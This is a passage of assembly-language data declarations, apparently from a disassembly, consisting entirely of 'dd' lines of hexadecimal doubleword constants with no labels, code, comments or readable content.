		dd 584857D0h, 0C7013190h, 9BF863C3h, 883FE02h, 0A0A9269Ch
		dd 0D8E666B8h, 4C3E59h,	48F9880Eh, 7ED35E34h, 408C98BBh
		dd 8F2E6709h, 0C6A6014h, 0C4ACF405h, 0BA76CC00h, 5469B0A0h
		dd 0E2BC45h, 9057375Ah,	0D3240A26h, 60480565h, 233ECC81h
		dd 9CEA2980h, 86893644h, 0E8E0B130h, 588424CEh,	74C95CF9h
		dd 987E7C05h, 0C320DE20h, 48DF4Bh, 48DD3975h, 0D8415986h
		dd 6AA4DCh, 0ECCC2646h,	8CE488FDh, 0DEBE8616h, 0F60F2046h
		dd 2C395141h, 0D0255445h, 74888303h, 80EDD8h, 24D55B5Ch
		dd 49A09A5Eh, 56722001h, 0F8FE13FFh, 0C061BDF4h, 0CEE6710h
		dd 5A490F47h, 5A7E3DACh, 3572E8F4h, 5C2891C3h, 2C9754C4h
		dd 0F30C104Ch, 0A020B501h, 0AE110B00h, 0F462069Ch, 39466F53h
		dd 8400C7E9h, 0A16BF1F2h, 5F504000h, 0F079C460h, 90B492A7h
		dd 0F2260A31h, 74C8CCh,	0E64B0A24h, 10C06301h, 0DC29356Ch
		dd 0A82CBBE9h, 0CF1D00F8h
		dd 58A068D9h, 0EE044670h, 5D33D5CDh, 90832FC5h,	7B30A6DBh
		dd 0B2352A90h, 824E20B0h, 0C4D0504Ah, 6313737Ch, 6F7EE0CEh
		dd 0ECE6A5B2h, 78094CFEh, 8FD75930h, 0F48ED8A0h, 5C8F9DA4h
		dd 0D279F8E1h, 3C0C734Eh, 0E6137EECh, 6052AB41h, 1758B002h
		dd 0F60CE07Ah, 63F40984h, 0C236C86h, 77B004C3h,	0DE76242Dh
		dd 7F873491h, 20494A67h, 4B2B3B74h, 0ADCF3086h,	4FE7D938h
		dd 24103AF4h, 7F013627h, 0E4CFC17Ah, 13F0481Fh,	59CD3289h
		dd 1B0A0020h, 18A14EE3h, 0D4229CC0h, 44178BF0h,	260090FEh
		dd 5C281336h, 0DE1407A2h, 20A0E5B0h, 7879D64Ch,	7E50DC60h
		dd 0D352F624h, 6AF30078h, 0EBB8A2DEh, 464474B8h, 61E40068h
		dd 261CFAB6h, 0E16E807Dh, 7C74A511h, 0B3CED481h, 4D000C77h
		dd 3747F926h, 0D00A8A63h, 0E4B6869Ah, 1AD17299h, 7D224028h
		dd 7FA1B05h, 608019A4h,	2824660Ch, 1E8F0F2h, 34C1114Fh
		dd 9626E969h, 80400A18h, 3D3886BAh, 0FF1B00F8h,	154037FAh
		dd 0BD01A2AAh, 8F34DD2Fh, 7086ADD7h, 380C5224h,	628BFE3Ch
		dd 519C0A68h, 8660038Ch, 0A06A6BD0h, 5892B489h,	26867828h
		dd 4D011FEh, 90F7C3F3h,	0CF5BEDFCh, 0A1DC1E01h,	688C24E1h
		dd 597AA450h, 4DB90053h, 0CB4F099Ch, 0C8B041FAh, 872F3603h
		dd 0B9211BBAh, 119E3965h, 2941189Bh, 0F2378652h, 0C8C0701Dh
		dd 0E72D1008h, 76C35880h, 0EF1BCA81h, 3892E671h, 0C0446958h
		dd 352F8422h, 94FE066Ch, 11860A9Ch, 319FE630h, 0F92DF12Eh
		dd 1406F470h, 0C43E903h, 2100B93Eh, 79CA84E6h, 58C52BB0h
		dd 0A460C11Bh, 80A7A5F4h, 79173E73h, 481ECC2Bh,	20698024h
		dd 73C92448h, 3C8CB117h, 10494418h, 0A0D00C4Bh,	796783C8h
		dd 78414C72h, 5C23322Fh, 9190D62Eh, 240B6148h, 11173CCBh
		dd 0A3C11874h, 0B8800434h, 92E618C3h, 0F9B53850h, 82E1247Eh
		dd 36D2F830h, 90744076h, 0B74D3022h, 73A3AA28h,	18F76401h
		dd 0AE3D65F4h, 0C545822h, 2B4724B0h, 128293F4h,	58B08D40h
		dd 18C595DCh, 3088D32Eh, 0AC2326Fh, 8084EFB1h, 7C749035h
		dd 79701965h, 4B33320Bh, 69F0B051h, 10746F90h, 5EAC8643h
		dd 271C5004h, 8D0EEE5h,	2A760426h, 0C49CDCE6h, 0AC0B54A9h
		dd 3B32524h, 42AE1710h,	7A074C08h, 0E7662034h, 8D06C0A2h
		dd 4D73734Ch, 0E01FD128h, 7605E615h, 2461752Ch,	1AA7FA40h
		dd 84C21C3Dh, 54C793h, 2C485040h, 0FA7800ABh, 77319FEFh
		dd 687FE2AEh, 0DF3D2A03h, 263315E6h, 356D48h, 2D9BD2D4h
		dd 4904D804h, 0BBBEE69Fh, 2C65C091h, 0C7335882h, 4E11455h
		dd 7E7200ABh, 48F0164h,	76F3E5EBh, 0FC18A653h, 86D42127h
		dd 4080739Fh, 30D668CFh, 671775B4h, 4C3012D2h, 4C507B4Fh
		dd 6F00A47Eh, 2A96F897h, 674BB881h, 52B0F005h, 6E231492h
		dd 0CC6B00D8h, 0AE2C99E4h, 922D10BBh, 1C0C0A33h, 10D48A69h
		dd 0D9B913B9h, 0A0207489h, 0C7615024h, 1350957h, 0A482DF8Ch
		dd 3052872Dh, 0F0DDDE01h, 38A5E677h, 0D2A27880h, 64FCC878h
		dd 10EF9C00h, 0A7010C3Ch, 67A2C36h, 0F062135Fh,	82F08028h
		dd 5C109C24h, 9180D06Fh, 0A8869B63h, 95F00970h,	28FBEF12h
		dd 70534009h, 0DA37048Ch, 826EA630h, 14506D94h,	82E6CC50h
		dd 0AE72D60Fh, 8E50A04h, 0A6F3E303h, 284B17h, 596B7E28h
		dd 24121926h, 0B401B5A7h, 62300B57h, 132B8853h,	0DC898488h
		dd 0BB09AF64h, 24938271h, 0E642FEC0h, 2E03CEC3h, 0A18FE0F4h
		dd 3ECC0F12h, 0FB722DDh, 0E60A0334h, 0DC2E0A08h, 0D0003C14h
		dd 0F8CC6A09h, 0E4FA74DFh, 984BA500h, 5F33E926h, 0F6BE73A1h
		dd 64105BB5h, 27409120h, 23E13131h, 4B1C1290h, 9F7984D3h
		dd 64913BF4h, 62009863h, 650EB24h, 814C3FF8h, 251B1694h
		dd 0F9342021h, 981C8CF4h, 4E5924F4h, 0B5160C4h,	0D0BB61CFh
		dd 0AC4BD2C1h, 0B09C3830h, 284561D8h, 4113E886h, 3733ADF0h
		dd 0D72F0008h, 9A1C6C08h, 69D216CBh, 0CC180404h, 0A7C4C83Bh
		dd 8242C49h, 2426A3F4h,	178909B8h, 0A92DC9Bh, 7C04344Ch
		dd 0A3CE1962h, 0E6470080h, 31516AC0h, 0D82590h,	0E6714480h
		dd 78355C2Ah, 2C9E5EF0h, 0ED78A502h, 872C400Fh,	677D8020h
		dd 4044F02Ah, 9B764E01h, 53A1FB7Bh, 0F4B70420h,	86BC0B69h
		dd 4CA27C02h, 8402B8A7h, 4BCC419Bh, 2463D0D3h, 0D00265D4h
		dd 4E08D359h, 5C9DF4B8h, 7029C9Ah, 535493B8h, 1BF8A009h
		dd 0C051A7F4h, 79F14C20h, 20BCB604h, 0E8917F81h, 0AEE9FE3Ah
		dd 0A490C444h, 0B96E0A67h, 20E51D30h, 870B22h, 0A36B763Ch
		dd 0A6DA185Eh, 6D5AB500h, 3413F44Ch, 0BFEB8FAh,	0E0C29D87h
		dd 0DA36FC00h, 55126B8Eh, 0DC523B28h, 581CE444h, 12338240h
		dd 0C54F6405h, 0B75BFC44h, 36CFCB1Eh, 0A5F0C8FAh, 0B8331024h
		dd 14405C24h, 9361662h,	0A666ACD0h, 6004F454h, 88DC131Ch
		dd 434D30F3h, 0A5911648h, 0A68BAF00h, 0F58479B8h, 219C0013h
		dd 6DBB0899h, 94B895FEh, 0E611A761h, 0C64691Ah,	0C563025Fh
		dd 0FBA2F437h, 7FE6C0A1h, 9020A723h, 0B63767ECh, 94114000h
		dd 615C7EF5h, 112DC98Ch, 907808DCh, 1D64DE10h, 475D6007h
		dd 0EC93AF00h, 0C1807DE6h, 48ADA038h, 0C16800BAh, 3B257907h
		dd 20E24DE6h, 0EC68750Fh, 0EF372467h, 86F7505Bh, 63FC4149h
		dd 2D147829h, 2B31C051h, 0AFAE20h, 4CE224CFh, 45C028ECh
		dd 0C52F3A35h, 29D97807h, 0A0694E83h, 463661D8h, 2DA07C99h
		dd 0BC220182h, 806AC7FCh, 327E0D1h, 98EB9AE8h, 714FF373h
		dd 0D7133C7Fh, 9227CEBCh, 0F0647481h, 4C43DE0Dh, 784D020h
		dd 0D3316968h, 86B94066h, 0C4806DDAh, 0EAFE1373h, 2EF40348h
		dd 201AA75Ah, 0D4795B82h, 2480037Ch, 0A04AC405h, 2617B0F2h
		dd 0F3AC44D9h, 7D60E077h, 0F02E421Dh, 511D5080h, 0A001AD24h
		dd 2A64F1A4h, 48FC7AF4h, 6A05D482h, 52AEEC24h, 1F1C0B98h
		dd 647D1064h, 0A5744B5Ch, 9004B088h, 3E242F70h,	0F878D062h
		dd 0E46006F0h, 0B2D2C0A9h, 0DBA104F1h, 0C96B9E7Fh, 0D3D029E8h
		dd 0EBE64C61h, 4300C872h, 884B312Bh, 6E057529h,	0CCE6550Dh
		dd 90078E8h, 864FF017h,	5892A08Dh, 263CEA5Ch, 340030ADh
		dd 0DDE5ED50h, 9FF68Dh,	7D5EF143h, 427EC97Ch, 0A1BF201h
		dd 0E344864Bh, 0DF846A00h, 4092A55Bh, 18E0F117h, 86BDD97Ah
		dd 0F471AC2Ch, 0C84EC18Bh, 80769EC4h, 4B1DF12Eh, 4C429069h
		dd 81D921E5h, 0DC6D2408h, 7A3F488Bh, 8E31300h, 4C0323E7h
		dd 9724EF75h, 10205DC7h, 0F80B5800h, 79D45469h,	0D6755076h
		dd 0BBFE451Dh, 59965EC7h, 6CD024F1h, 2851F440h,	2558985Bh
		dd 780F3791h, 940925E8h, 503844F7h, 0A09174BAh,	40B586F4h
		dd 91E9A6Dh, 58AA3CFh, 0D7008022h, 0C11D5DE9h, 66B53C7Fh
		dd 67C2E130h, 7E0B08F1h, 200E9824h, 3DB061B8h, 0B8BA48CEh
		dd 0CC8B10h, 617843Eh, 0BC080B04h, 5BD9006Ch, 24910914h
		dd 28EACB30h, 45BC82h, 0F6EB4E0h, 6AA5A24Fh, 0F2AAD000h
		dd 5C356873h, 1B22049Ch, 877908D1h, 190A8354h, 86571109h
		dd 9B7040B2h, 52F07C8h,	213E7D1Fh, 83DACC16h, 0B86FB29Eh
		dd 8EEAC0E8h, 4054092Eh, 74502D79h, 0F239F0EBh,	8726341Fh
		dd 0BAE4D5C0h, 71245682h, 84E8D71Ch, 0C1489404h, 0F17E6774h
		dd 0B64CC56h, 6E4D70Bh,	20708B96h, 0F3E02FF8h, 0F4B9D9h
		dd 9867FBEAh, 0AE2CA0AAh, 0C80882Dh, 0B7F3A2EFh, 7310C10Eh
		dd 34BC76E6h, 853A8FD0h
		dd 3B9414A1h, 0B3670FCEh, 0A80BEAE6h, 24FEBB02h, 25C0D6CAh
		dd 0A3C57C02h, 80974CC9h, 7D79FDA1h, 733747h, 0F39C9615h
		dd 2D5D8829h, 5EF8D8C4h, 730407C1h, 40A8C8EAh, 0B04688B8h
		dd 0C2A7C80h, 6E71F4A9h, 0F9033ED1h, 0AE5D4621h, 8BE6C2F3h
		dd 0C4600708h, 437FF480h, 70707558h, 4C100599h,	20EF0354h
		dd 82FFF3A4h, 0E1F051CEh, 0D4AB53Fh, 0E3A4B82Ch, 405C4C9Ch
		dd 87FE8688h, 0FBB2E0ABh, 0B8481089h, 5CBEE50Bh, 3003930Ch
		dd 0DB2A4032h, 6E872104h, 0C0C755F5h, 4A091AB7h, 93C50E4h
		dd 7CEF4090h, 278CA802h, 0C758E923h, 9050C9h, 2687FED9h
		dd 61DF5E2Ah, 7E500A00h, 3D180FB8h, 524B04D2h, 0D1AE2DE5h
		dd 3078F470h, 96028E58h, 245AF0DCh, 88F1C1h, 92D187DFh
		dd 0E400109Ch, 0FE8EB433h, 7146CB2h, 8B6812DCh,	25801B7Eh
		dd 0C833A7F3h, 0A2443494h, 20460D49h, 68C0858h,	64066773h
		dd 0A45B5989h, 12BC3810h, 40536DF3h, 0FC91A00Fh, 26866B85h
		dd 1D7880E0h, 2CDABC6Fh, 1C728570h, 4AA0B287h, 2CF3589Ch
		dd 2E343FB4h, 0C11162ACh, 0D84CE890h, 25231F25h, 34887EF4h
		dd 0CFE49C60h, 42165AE7h, 0DCF99F06h, 0D2544325h, 9DDD003Ah
		dd 64F259A3h, 9C10EC00h, 24BC052Dh, 797E07DCh, 32E1480Bh
		dd 5861FD1Ch, 9C11860Eh, 30290315h, 53902854h, 90981405h
		dd 0DBF44F0Ch, 0B112B0F0h, 7E8D8094h, 91A2E1CAh, 0F245490h
		dd 12883094h, 11680074h, 2CB63564h, 0F9B8B913h,	28CA3000h
		dd 2E2EAC5Ch, 1F9640F5h, 0FFE10357h, 0C0C79E3Dh, 91F2B90Dh
		dd 2024F716h, 0AF92CC6h, 8C6FE67Bh, 93E309A4h, 0E012ECB0h
		dd 6402ACA4h, 20F40DE7h, 0C6AC48B1h, 0BB7B0F10h, 4F896EFFh
		dd 181B2001h, 0B4C6824h, 204150E6h, 9A71F664h, 0CC2A0012h
		dd 5DFA73ECh, 67001BE9h, 0D219D784h, 2EAD067Fh,	324B247Ah
		dd 0DC6060A0h, 6B3AAE07h, 68ABB14Ch, 8182B4C3h,	0A61225F0h
		dd 495BCE0h, 0F819AD60h, 0B627A33h, 0B45179E5h,	3400C829h
		dd 0E601C73Bh, 99C1A17Fh, 1273A5D9h, 0ED3106E1h, 0F16E3451h
		dd 7AB4047Fh, 8EF303B6h, 7B602614h, 0D08D80D8h,	4C2B4B19h
		dd 0B7DE8613h, 0CC5608D7h, 7D7E0742h, 399FD607h, 0C2F8B400h
		dd 9E0691FDh, 1630F45Dh, 7F6F3B50h, 8C1058DDh, 990F3C52h
		dd 0C520E16Bh, 53BC68CEh, 1FE5807Dh, 0D2C16760h, 6409EF2h
		dd 4C79065Bh, 0A07194Eh, 74D1B5DDh, 95AE7BC1h, 34149422h
		dd 6402C6E7h, 0CA5A79D8h, 8A5EC448h, 5BF3C70Bh,	0C0CC46Eh
		dd 0D4B7964h, 0A71776C0h, 94046108h, 101BED3h, 302E46FCh
		dd 7904AC40h, 5032804Ah, 0DABB74C0h, 0E2CC026Fh, 0AED13ECh
		dd 678E860h, 4C64600Fh,	246762F2h, 60FC46h, 42917A7Eh
		dd 0F4120B6Dh, 0C0B02BCFh, 25549428h, 0F920046Ch, 51450756h
		dd 3197A509h, 80434986h, 0A364CA98h, 20CAF4Bh, 24EDCB58h
		dd 58F06F65h, 31958618h, 17F40828h, 408745E6h, 0FC466064h
		dd 7327F3C2h, 437C2270h, 1C0A0066h, 0AB0C9B8Bh,	205F93F3h
		dd 417E727Fh, 1D742918h, 4130F417h, 711D79Ch, 0C8511266h
		dd 0E0671706h, 86B4D13Ch, 38836930h, 0F0FDF0DAh, 0D8AD4B1Ah
		dd 3BE94B90h, 0A5920461h, 4DE046D2h, 0CEC18056h, 2EADEA79h
		dd 7AD429h, 0F4165260h,	0C1C08340h, 0A3C6E359h,	1D78014Ch
		dd 170FF657h, 1986F4ECh, 33186979h, 0A910BA0Ch,	0DC6CF924h
		dd 50184B3Ch, 2A4F6897h, 0C48B3A01h, 3BAE68Fh, 98DE2470h
		dd 20089828h, 8001EDA6h, 3C46E9CCh, 0B6F09C48h,	3318C5E6h
		dd 61808109h, 78C2C31Eh, 0FE00CCD1h, 0F139C911h, 0C505005Ch
		dd 0F59B8CE9h, 9318A00Dh, 0D7C80988h, 97593E3Dh, 0B009753Eh
		dd 20002AE3h, 69BD3C51h, 0B23951Eh, 74A98486h, 2E612C0h
		dd 10984B85h, 91E55D00h, 0D09E14Ch, 72FC0996h, 0D2A02570h
		dd 1F6B9CC0h, 0A79EDE01h, 138E3E2Ch, 1D29EAF8h,	80FA4C96h
		dd 0AE64A376h, 492C7FDCh, 1635C6Dh, 0E8A8001Ah,	926521FAh
		dd 6300BAA7h, 6CA17207h, 9E33E224h, 7881AF70h, 24045B86h
		dd 5512FE2Ch, 0D4D11FAEh, 9005AD83h, 0CC697E50h, 0E436A22Eh
		dd 0EE808h, 317907A1h, 0DC0064E1h, 11D82EB8h, 0A663352h
		dd 1021EA4Ch, 0CB240608h, 163C8175h, 0DEFB05D7h, 74F81BF3h
		dd 0E73A1D02h, 0B0F6993Eh, 0C0EE6D83h, 2C93C4A4h, 7569E083h
		dd 101760FEh, 8B2B764Eh, 1C015009h, 639C0143h, 22FBE24h
		dd 11873F64h, 0E860D02h, 0D0520765h, 4388EFA4h,	0ED17F701h
		dd 77269AA2h, 94A3DC20h, 0FC8B80C8h, 627E8941h,	9333B400h
		dd 51221474h, 4AD6002Eh, 501AF3FFh, 0FE39EB26h,	0F49B0472h
		dd 14A98E08h, 0B4D6BA14h, 9AFC5450h, 7B24124Ch,	7A1044FFh
		dd 0FAB80067h, 393F846h, 0A59E269Ch, 0AAA2C8B3h, 10004470h
		dd 24FC0B96h, 0EBA4CD8h, 85DD082Eh, 50502D67h, 0E6474BD1h
		dd 945B742Eh, 9C880661h, 0BC64243Fh, 9391C4B8h,	983818A5h
		dd 810001D6h, 90949AD5h, 0AE00A450h, 19E5CCF4h,	0A309E95Bh
		dd 22E79186h, 0F157551Ch, 0F0E64B8Ch, 61D04320h, 0D6E67159h
		dd 0CB6D007Ah, 0AED7167Dh, 0CC684001h, 692DF37Ch, 0FCB61D0Fh
		dd 95A641B4h, 0AC293BAEh, 0A7040093h, 86AD3C4Dh, 9C80434Ah
		dd 3CAB847Eh, 180F6CC7h, 0E6A238C0h, 0D45CCB98h, 0D8E55344h
		dd 0D280347Ch, 49E5A222h, 9F180297h, 56DF02E3h,	6C0150ECh
		dd 9A0B6780h, 786C655Ah, 0B5A47F00h, 621C902Ah,	3308469h
		dd 0FE37079Fh, 74791640h, 33684BACh, 0E5ABD0A2h, 0E767C10Fh
		dd 0C820DF43h, 919F404Dh, 9A0A28DEh, 0D4A4B43Fh, 2F0D4301h
		dd 0E0201F3Ch, 80C65AE6h, 6F8F1400h, 637A8700h,	0CFB47E72h
		dd 0B8CE5C10h, 1834F124h, 0B0138906h, 27CACF80h, 1C50D380h
		dd 0B088E520h, 209CFDE4h, 0DE39404Ch, 0F76266C2h, 3F248C12h
		dd 3CBEECF0h, 0FC00DBEEh, 0A01B0C2Eh, 0CC005096h, 0F4E87C3Eh
		dd 0E9C690h, 22E4874h, 764B8880h, 0FB07E598h, 0BBA69443h
		dd 0F6B73F71h, 6106E8E3h, 0E60C007Fh, 0F8C501ABh, 0F52EDC8Ch
		dd 50A894FBh, 73A75400h, 0E6C73431h, 81249CB7h,	33E8CCE2h
		dd 86C2202Eh, 0DBD064EBh, 0A0F92D05h, 58E08097h, 7B2F2024h
		dd 0C6A4A0Fh, 33F58038h, 0AC04EFh, 0C7A3CC61h, 3B3632E7h
		dd 7D02F412h, 0D92F98F2h, 0D6207064h, 90F802AFh, 0C8B6832Ah
		dd 7D01B0D4h, 6D859D4h,	0DC5849E9h, 0CEF8BAh, 0EA63DBB0h
		dd 0E67FD8BEh, 625F7327h, 9528DAC8h, 694D5498h,	7E9DAD01h
		dd 4FBFF40Dh, 0D200D13Eh, 79A200C6h, 0A8EA04A4h, 0EE1FF3h
		dd 8DBDC74Ch, 4F52D30h,	7A8294A2h, 5126102Ch, 1C78D8FCh
		dd 0EC4BDC84h, 1F4A765Ch, 986754C0h, 0A0B7B069h, 2C596074h
		dd 7542FC4h, 2AA9F48Bh,	598AC90h, 0C5E6FD93h, 4BB4489Fh
		dd 740D3307h, 0A47BC2h,	0E750E2AEh, 68FCD300h, 0F43642A2h
		dd 0EC9BEA51h, 0F3D20C8Eh, 6F58A8F7h, 0E4D61E25h, 547B26F4h
		dd 0E0E625BCh, 3EF46080h, 28C5E7B8h, 6081939Ah,	760051BFh
		dd 14856E6h, 4C6D0018h,	65C9197Eh, 9B630112h, 0AEE604ECh
		dd 0DD4881D0h, 22DB8429h, 415BD034h, 0CE2441BBh, 0AF5E030Fh
		dd 0D230EBB0h, 3BEF02F9h, 3523864Eh, 6E43045Ch,	0DCC9DF0Ah
		dd 0EDF343BCh, 1400408Eh, 0A8AEC1F6h, 646BA6h, 870B4C7Ch
		dd 7EFEBE55h, 54E4CC0Fh, 19F587E1h, 6EE80069h, 1602EF9Eh
		dd 4484F41Ch, 0C8367C98h, 0ED4CAE60h, 9C804031h, 202B4581h
		dd 2FB05944h, 740EB0B4h
		dd 944017EFh, 936A4BE2h, 621B0596h, 0F0D4E645h,	0C23CE3C0h
		dd 17059376h, 0C6F15000h, 2086B5BBh, 9B2C30CFh,	64642C0Ah
		dd 95246520h, 0C6A02154h, 1B9D40h, 0ADFD2697h, 0B0D759EAh
		dd 8024D20Ch, 0E636282Eh, 4E033C38h, 6AD1D400h,	5B244DA2h
		dd 0B04488B5h, 9122480Bh, 0FC493AF0h, 0B4383861h, 9C34C297h
		dd 0B5088476h, 0DE0C0955h, 0A33F9002h, 86516900h, 8CDC5AC1h
		dd 88247220h, 9361F86Bh, 84404EEEh, 0C43979Ch, 75C2486h
		dd 0A2409FD9h, 98025DAEh, 0F092AD2Fh, 190C88F3h, 0BE389A2h
		dd 0CDCF29A6h, 0EC830878h, 0F5D625A0h, 56C29300h, 0E10CFEB8h
		dd 5C4290A7h, 905B5B88h, 0F9031548h, 0E6DE6304h, 0C31C2EF2h
		dd 8ABDABD1h, 2938C0BDh, 0A204F59Dh, 664C95A0h,	0ED3758D3h
		dd 8452980Bh, 0A0126380h, 2A0C1404h, 917799C9h,	0AF350086h
		dd 0C1942085h, 894DCFE6h, 40804F10h, 1E5636EFh,	9216C76Ah
		dd 3E4B020h, 0EC2F1C9Ah, 0DBD012C8h, 1FB82850h,	8017A254h
		dd 30607C7Eh, 2A0D0205h, 389D9381h, 2250F03Bh, 31A7EA05h
		dd 0D4F967C6h, 12F09076h, 0A3C87FE6h, 63110000h, 0F50B4A7Dh
		dd 8C9095D3h, 624C0986h, 180BC2C0h, 41BC5C45h, 85416E86h
		dd 0F3D66F99h, 0CBCF5C41h, 0D030F626h, 2E53406Dh, 88D3D504h
		dd 8CA81775h, 710AC6C2h, 0ACF45040h, 0BE09DCB3h, 0C30898DDh
		dd 4692D0Ah, 0C6F78441h, 8440947Ch, 91D921DDh, 18402D64h
		dd 10BD3B91h, 0C0293E30h, 840BDC89h, 242F51CBh,	0A8B48898h
		dd 22502000h, 0B6B6F414h, 32544074h, 8627BCECh,	6134800Fh
		dd 6921E884h, 74EC71D2h, 0C2F4180Bh, 139044FCh,	0A73726F3h
		dd 0FC295F8Ch, 0F009E9A7h, 0C48874F1h, 4724824Bh, 9C741701h
		dd 0A4E8A9C5h, 477C8093h, 0C159D1E6h, 5B868224h, 15C71C0h
		dd 0FB24D60Ah, 7D989585h, 21DB1628h, 892FC03h, 39E11F9Ch
		dd 42040744h, 7E71B026h, 79009562h, 221BA34Ch, 30F41651h
		dd 68309332h, 0CC06066Eh, 241EE677h, 8A1C958h, 8C73B087h
		dd 0E612B3A8h, 0B8881B9Dh, 42B90040h, 0A2EBFC2h, 30E59A1Dh
		dd 180FC8E8h, 8075AA60h, 0B78ABCF1h, 0F5642872h, 760881FCh
		dd 0D0B07471h, 97CAF4C8h, 501390D2h, 7C033CA7h,	0E0A3071Eh
		dd 89E5C009h, 91C0E8C6h, 5A0D2777h, 0D068D402h,	33E08007h
		dd 541DB10h, 0D2F465AEh, 52B49150h, 0F00015DAh,	0E1DD3E16h
		dd 5B63B870h, 5C537Ah, 7F436A97h, 6F2EC0ABh, 813D5090h
		dd 0F41103D9h, 7C00192Dh, 0DF2D0B59h, 8034E298h, 5908844h
		dd 44D74A7Ah, 0E8B48188h, 5294C2ECh, 67B4A15Fh,	743E9D78h
		dd 72D8AC28h, 0DB58A98Ah, 69348824h, 40990AEh, 0A5507982h
		dd 74E1D0C3h, 0E4188277h, 0E69659F3h, 3AC40064h, 24493070h
		dd 174E4619h, 24959898h, 4B4CFA28h, 2E00E850h, 4F206BA5h
		dd 0B59F0ADh, 724779C9h, 0DBE70022h, 17AC7209h,	0D40A4B80h
		dd 5944A1B8h, 1AFFDC0h,	26F4C1CCh, 2EC00060h, 0AA20D205h
		dd 0EE174C59h, 4CB24610h, 0A858AC34h, 65F31294h, 2E2C78E0h
		dd 0DC09C2h, 4C530E18h,	0AE2586FEh, 24A4B063h, 0E845671Ch
		dd 6302C050h, 4048C9B1h, 69130050h, 0A2C7ABCCh,	0F0A11ED2h
		dd 56F80079h, 86C0619Eh, 2890102Ch, 0E9941560h,	0A00FF2E6h
		dd 279AA3F4h, 3CC82587h, 8B1C989Dh, 240BA1F6h, 7344026h
		dd 727100AFh, 239B8AE9h, 0FC2CBE3Eh, 1288E482h,	0E6740252h
		dd 9481AAC0h, 306358BFh, 6E40BE0Ch, 0CACE0654h,	105F3C79h
		dd 0AE567103h, 87EA0C86h, 5893E682h, 0DCEF20BCh, 306B6F13h
		dd 0F018D0E3h, 940810FAh, 8C50230h, 127EEAECh, 6344B4h
		dd 0C35A9CACh, 0C91FBEA9h, 24869BFEh, 13C8CA52h, 0E0788656h
		dd 722E7DD8h, 43005E36h, 24F3BEA7h, 0DDD14F5Ah,	0B0EF01Ch
		dd 0E14C90CFh, 0E6EAF41Bh, 0B5141093h, 6460D074h, 0E6243195h
		dd 0A1D13BD3h, 2A9489CBh, 40D65CB4h, 0DE0419AFh, 8AD58693h
		dd 0F80018ADh, 77B49F4Ah, 0F0F0FAB8h, 94702202h, 0EAEA8691h
		dd 0F03870B4h, 280CBE1Ch, 4EA0046Eh, 81D76471h,	14671054h
		dd 6FB80FBBh, 817504A5h, 2BF5F89Ch, 68D69C09h, 0A193CE9Ch
		dd 48299160h, 202D6B18h, 292E2467h, 3D88B020h, 0DCC60974h
		dd 464BBCF9h, 944558D4h, 24E042D3h, 4CE984F7h, 64C4E2C7h
		dd 4CFC2354h, 0F409C506h, 0E10BCF9h, 9A862563h,	85CD393h
		dd 0B5DE8C2h, 20E8E3E0h, 161FE320h, 0A02C5642h,	0D11FD50Bh
		dd 0D757007Ch, 2D246608h, 953E640h, 7E7FD5CEh, 0F0F1A607h
		dd 754CF440h, 9075089Ah, 326FEB05h, 0C8F81711h,	38604BDDh
		dd 860674F1h, 97A1BAD7h, 1C52B409h, 0EB39F318h,	5CED0C50h
		dd 0F03EB4A2h, 7E503280h, 7D036368h, 269BE100h,	0D31901DFh
		dd 0F49038A6h, 7384825Fh, 6889E051h, 8707911h, 6E004535h
		dd 70585510h, 24B40ED1h, 0E5EB1C5Dh, 0D24A4FAh,	8369586Ch
		dd 73EF50h, 4AC21C18h, 0AB5E8F15h, 8223061Dh, 942CB833h
		dd 0E0F88507h, 21D8CEA9h, 0A8A50206h, 0CD04A47h, 4CE2F3ABh
		dd 0D1013028h, 0E6DB88FCh, 78A5AD80h, 0E606F8EFh, 2D189306h
		dd 8C465C0Bh, 0D3396D00h, 51923BE1h, 1D282E4Fh,	3A4C0014h
		dd 0DE145A4Eh, 31FFB100h, 873E8A1Ch, 0DA6F1615h, 959460A8h
		dd 3B005FE0h, 37F0B87Eh, 4FF3C8C4h, 45380296h, 0C07624E6h
		dd 430F6900h, 1590688h,	1DCCC5Eh, 43797EFDh, 0E6801C0Ch
		dd 30C0C327h, 687C3BBAh, 4BF313E5h, 0E15845A0h,	0C4C0F8C4h
		dd 4A00C0AFh, 8B9AF06Ah, 50DBA42Ch, 3B8C212Fh, 0A5F8DD20h
		dd 0B12E13C1h, 4E2CF011h, 58282F41h, 0C48A4Ah, 4196F42Eh
		dd 16723322h, 357E5C67h, 0CB0400ACh, 9C14B149h,	0AD0022F4h
		dd 0BB067A60h, 811E8DF4h, 20BC219Ah, 20F99790h,	0AE3C5FC8h
		dd 1C780004h, 302E0E17h, 4E372D6Fh, 5303B85Ch, 0BB13EAB6h
		dd 9834F870h, 0BADB0005h, 0D92CE92Fh, 902DB656h, 4560Dh
		dd 96794E39h, 100A97Dh,	0E1D80F3Bh, 7C309038h, 0BA723AFCh
		dd 0EF8E8B0Eh, 9B2D6019h, 0E0400A30h, 7201C8Ch,	8104EAF8h
		dd 95C7407Ah, 2D1F0EF0h, 0A7185287h, 18C697A0h,	586667E1h
		dd 100128Ch, 3F8F3651h,	0DE9889Fh, 0F975E1D1h, 5E518020h
		dd 2024417Ch, 0FD371BE7h, 8CF780DCh, 8720E189h,	307C7D18h
		dd 0C718EB86h, 80C30122h, 0C107C249h, 1080E3B9h, 244A1058h
		dd 0EA3A4283h, 872304Ch, 0E98FF9h, 2E09E18Ch, 4D23FB2Dh
		dd 0B814B300h, 93A3EABEh, 0F99D03FAh, 0FB6C3785h, 3800687Ch
		dd 7904C03Ch, 75DC695h,	0AFE06F6Ah, 0D0EB4728h,	23A60969h
		dd 0BF1B1D00h, 0C39652AEh, 909CA001h, 0F6E03Ch,	17B704E2h
		dd 2210BF85h, 11184300h, 0DDF00EB6h, 0C7CB0C74h, 0E1C01EAAh
		dd 0DA15966h, 4048DDC8h, 3727D1A5h, 10D2F928h, 0FA18EAB8h
		dd 0EA0BA834h, 0C50AB1E4h, 9C92F7C7h, 2B497598h, 0ECE4528Fh
		dd 0EA628305h, 6C80AF99h, 3095C4EBh, 368A70Fh, 0A0007CE1h
		dd 8CC72E73h, 1FEFB051h, 4ACE96C8h, 3DC6E95h, 54E39728h
		dd 940490D9h, 78E09438h, 10034833h, 6104E498h, 970A0357h
		dd 56EAF02Bh, 0EE880164h, 0F7294ED6h, 0DD96E440h, 0B5285461h
		dd 0A894112Dh, 3706B0A8h, 108E8C52h, 7C95E30Ah,	2F423809h
		dd 85142708h, 5898310Eh, 0D00021FBh, 37501AE1h,	0B004E84h
